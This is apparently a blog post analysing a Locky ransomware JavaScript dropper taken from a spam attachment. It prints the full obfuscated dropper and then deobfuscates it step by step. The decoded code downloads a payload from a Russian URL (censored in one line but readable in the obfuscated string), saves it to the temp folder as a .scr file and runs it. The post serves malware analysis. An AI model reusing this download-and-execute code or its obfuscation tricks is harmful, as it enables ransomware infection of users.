Analysis of a Javascript dropper for Locky
Several days ago, I received an obvious spam with a zip attachment that contained a javascript file inside of it.
So after taking the normal precautions when dealing with potentially hazardous bits&bytes, I started to make my way through that js file.
After it had become obvious that it was indeed hazardous, I immediately uploaded both the zip and the js file to virustotal, and got the categorization of Locky for the submitted js.
Virustotal results
With that out of the way, let’s take a look at the actual js.
JS Walkthrough
memoirsCandidate = eval(('project', 'experiment', 'mate', 'structure', 'logic',
'guest', '\u0074flag'.e()) + 'hi' + ('provision', 'icon', 'satellite', 'typical',
'diction', '\u0073tribune'.e()) + '');
tuple + string = last element of tuple + string, so
memoirsCandidate = this
.
memoirsCandidate = memoirsCandidate[('reorganize', 'student', 'illustration',
'syndicate', 'massive', 'induction', '\u0041bureau'.e()) + 'c' + ('imitation',
'\u0074problem'.e()) + 'iv' + ('presumption', 'integral', 'taboo', 'club',
'\u0065episode'.e()) + 'X' + ('progressive', 'essay', 'dessert', 'import',
'\u004fregime'.e()) + 'b' + ('aquarium', 'antenna', 'vibration',
'\u006atransform'.e()) + 'ec' + ('finish', 'province', 'fragment', 'sanction',
'stop', 'packing', '\u0074state'.e()) + ''];
memoirsCandidate = this.ActiveXObject;
And we now know that this Locky dropper is attacking internet explorer users.
obligationScheme = ('packet', 'square', '\u0052volt'.e()) + 'u' + ('citation',
'humane', 'calendar', 'routine', 'base', '\u006emagic'.e()) + '';
obligationScheme = 'Run';
function String.prototype.e(a) {
return this.charAt(a);
}
this function extends any object of type string with a function that takes an offset and returns that particular character within the string – if no offset is specified, it defaults to 0 !
juniorBarrel = new memoirsCandidate(('cosmos', 'chance', 'trajectory', 'double',
'\u0057condition'.e()) + 'Sc' + ('archive', 'revue', '\u0072patrol'.e()) + 'ip' +
('individuality', 'population', '\u0074resident'.e()) + '.' + ('author',
'technical', 'satellite', 'atom', 'violet', 'museum', '\u0053decoration'.e()) +
'h' + ('assembly', 'mate', 'company', 'canal', 'army', '\u0065licence'.e()) + 'l'
+ ('scandal', '\u006coffset'.e()) + '');
juniorBarrel = this.ActiveXObject.WScript.Shell;
Looks like it wants a shell via windows scripting host. Old School!
licenceIndustry = juniorBarrel[('population', '\u0045public'.e()) + 'xp' +
('symbol', 'boxing', 'automatic', '\u0061precedent'.e()) + 'n' + ('registry',
'\u0064facade'.e()) + 'En' + ('essay', 'illegal', 'barrel', 'reaction', 'boxing',
'cipher', '\u0076corporation'.e()) + 'i' + ('effect', 'statue', 'progressive',
'\u0072energy'.e()) + 'on' + ('decade', 'refrigerator',
'\u006dtransportation'.e()) + 'en' + ('gram(me)', 'supermarket', 'organize',
'\u0074legion'.e()) + 'St' + ('membrane', '\u0072duplicate'.e()) + 'i' +
('campaign', 'region', 'rum', '\u006edegradation'.e()) + 'g' + ('investment',
'recommend', 'double', 'shorts', 'assembly', 'certificate', '\u0073metaphor'.e())
+ ''](('social', 'preventive', 'paradox', 'rocket', 'presumption', 'assortment',
'\u0025chance'.e()) + 'TE' + ('predicate', 'blockade', 'reaction', 'cooperation',
'instance', '\u004dbroker'.e()) + 'P%' + ('syndicate', 'generation', 'synthesis',
'generation', '\u002femblem'.e()) + '') + "1fICgsH8" + ('polar',
'\u002ecooperation'.e()) + 's' + ('reanimation', 'parity', 'profession',
'object', 'director', 'dogma', '\u0063fortune'.e()) + 'r';
The above translates to
licenceIndustry = this.ActiveXObject.WScript.Shell.ExpandEnvironmentStrings(
'%TEMP%/1fICgsH8.scr');
Woo, we are getting a free screensaver!!11!1
configurationSubstance = new memoirsCandidate(('morphology', 'morphology',
'attraction', '\u004dcomposer'.e()) + 'SX' + ('industrial', 'bureaucracy',
'universe', 'address', 'republic', '\u004dstimulation'.e()) + 'L' + ('control',
'reason', 'anarchy', 'gigantic', 'group', '\u0032context'.e()) + '.X' +
('voyage', 'combination', '\u004dtotal'.e()) + 'LH' + ('control', 'transplant',
'march', 'plus', '\u0054mask'.e()) + 'T' + ('region', 'report', 'moral', 'chaos',
'test', '\u0050membrane'.e()) + '');
configurationSubstance = this.MSXML2.XMLHTTP
Meh, AJAX now. too nu-school.
configurationSubstance[('guide', 'passport', 'flag', 'port', 'formation',
'\u006fidea'.e()) + 'p' + ('potential', 'photograph', 'abstract', 'portrait',
'state', '\u0065tragic'.e()) + 'n'](('civilization', 'certificate', 'symptom',
'\u0047spherical'.e()) + 'ET', ('obligation', 'information', 'real', 'box',
'period', 'postscript', '\u0068prefix'.e()) + 'tt' + ('assistant', 'lady',
'quarantine', '\u0070radar'.e()) + ':/' + ('reservoir', '\u002fparole'.e()) +
'mo' + ('passport', 'invalid', 'delegate', '\u006enatural'.e()) + 'de' +
('relaxation', 'switch', 'motor', 'packing', 'official', '\u0072meridian'.e()) +
'o' + ('decoration', '\u002eevolution'.e()) + 'ru' + ('acoustic', 'meeting',
'diploma', 'automobile', 'academy', 'aggregate', '\u002fservice'.e()) + 'sy' +
('order', 'legal', '\u0073visit'.e()) + 't' + ('instance', '\u0065disk'.e()) +
'm/' + ('vacuum', '\u006cinflation'.e()) + 'o' + ('arbiter', 'photograph',
'association', 'cortege', '\u0067presumption'.e()) + 's' + ('fatal', 'dialogue',
'park', 'supermarket', '\u002fopponent'.e()) + '56' + ('patrol', 'method',
'registry', 'saturation', 'bottle', 'configuration', '\u0079rotation'.e()) + '4'
+ ('contrast', 'isolate', 'alternative', '\u0067identical'.e()) + '4' +
('interval', 'volt', 'minimal', '\u0035bank'.e()) + 'g' + ('rotation', 'imitate',
'homogeneous', 'cabin', 'province', '\u0068airplane'.e()) + '4' + ('reason',
'transit', '\u0035transplant'.e()) + 'h',
((1 & 0) ^ (1 * 1)) == ((0 + 0) + (43 - 43)));
this.MSXML2.XMLHTTP.open('GET', 'http://<CENSORED>.ru/system/logs/56y4g45gh45h', false);
configurationSubstance[('registry', 'immune', 'transplant', 'moment', 'opera',
'\u0073disk'.e()) + 'en' + ('examine', '\u0064commerce'.e()) + '']();
this.MSXML2.XMLHTTP.send();
while (configurationSubstance[('prize', 'manuscript', 'formula', 'satellite',
'numeral', '\u0072cent'.e()) + 'ea' + ('ocean', '\u0064regression'.e()) + 'ys' +
('saturation', 'amphibian', 'file', 'regenerate', '\u0074vulgar'.e()) + 'at' +
('regenerate', 'aspect', 'human', '\u0065distant'.e()) + ''] < ((25 - 24) * (4 | 4))) {
this[('base', 'radio', 'arctic', 'experiment', 'contribution',
'\u0057symmetry'.e()) + 'S' + ('cybernetics', 'speculation', 'examination',
'information', 'informer', '\u0063expert'.e()) + 'r' + ('artillery', 'port',
'\u0069acrobat'.e()) + 'p' + ('reservation', '\u0074bandage'.e()) + '']
[('statistical', 'rational', '\u0053planet'.e()) + 'l' + ('flag', 'diameter',
'boom', '\u0065index'.e()) + 'ep'](((1 * 88) + (74 - 62)));
}
this is the same as
while(this.MSXML2.XMLHTTP.readystate < 4) {
this.WScript.Sleep(100);
}
budgetPassion = new memoirsCandidate(('effect', 'presumption', 'cabinet',
'\u0041operation'.e()) + 'DO' + ('amputate', 'version', 'spiral', 'attestation',
'\u0044chief'.e()) + 'B.' + ('collection', 'alternative', 'regime', 'violet',
'broker', '\u0053image'.e()) + 't' + ('calendar', '\u0072stimulus'.e()) + 'e' +
('computer', 'lexicon', 'progressive', 'predicate', '\u0061blank'.e()) + 'm');
budgetPassion = this.ADODBStream;
try {
budgetPassion[('sector', 'cosmos', 'operation', 'experiment', 'regulate',
'perspective', '\u006fecho'.e()) + 'pe' + ('massive', 'metaphor', 'intellect',
'publication', 'norm', '\u006ecommand'.e()) + '']();
budgetPassion[('phenomenon', 'title', 'rank', 'sanction', 'salute',
'\u0074theoretic'.e()) + 'y' + ('identical', '\u0070astronaut'.e()) + 'e'] = ((23 * 2 + 4) - (7 ^ 54));
budgetPassion[('central', 'proportional', 'final', 'infection',
'\u0077distant'.e()) + 'ri' + ('transport', 'alphabet', '\u0074service'.e()) +
'e'](configurationSubstance[('file', 'boom', 'defect', 'toxic',
'\u0052figure'.e()) + 'es' + ('abstract', 'terror', 'guest', 'scandal',
'\u0070pulse'.e()) + 'o' + ('report', 'realization', '\u006ecriteria'.e()) + 's'
+ ('infinitive', 'client', '\u0065port'.e()) + 'Bo' + ('finish', 'avenue',
'interpret', 'hall', '\u0064test'.e()) + 'y']);
budgetPassion[('demon', 'delegate', 'compilation', 'commerce', 'phrase',
'command', '\u0070suffix'.e()) + 'os' + ('demon', '\u0069integral'.e()) + 'ti' +
('photograph', 'phase', 'facade', 'tandem', '\u006fbeast'.e()) + 'n'] = ((0 / 6) | (0 & 0));
try {
budgetPassion[('effective', 'diploma', 'confidential', '\u0073solo'.e())
+ 'av' + ('disk', 'article', 'culture', '\u0065informer'.e()) + 'T' + ('radical',
'control', 'reserve', 'function', '\u006fjungle'.e()) + 'Fi' + ('park',
'\u006ctransmission'.e()) + 'e'](licenceIndustry, ((0 | 18) - (9 + 7)));
budgetPassion[('morphology', 'boat', 'block', '\u0063tender'.e()) + 'l' +
('motivate', 'guest', '\u006foffice'.e()) + 'se']();
juniorBarrel[obligationScheme](licenceIndustry);
} catch (depositMeridian) {};
} catch (depositMeridian) {};
This is the same as
try {
this.ADODBStream.open();
this.ADODBStream.type = 1; // binary
this.ADODBStream.write(this.MSXML2.XMLHTTP.ResponseBody);
this.ADODBStream.position = 0;
try {
this.ADODBStream.saveToFile('%TEMP%/1fICgsH8.scr', adSaveCreateOverWrite);
this.ADODBStream.close();
this.ActiveXObject.WScript.Shell.Run('%TEMP%/1fICgsH8.scr');
}
}
When I tried to download the actual malware, 6 hours after I had received the spam, the russian authorities had already closed down that URL and warned people that malicious content was previously hosted on there.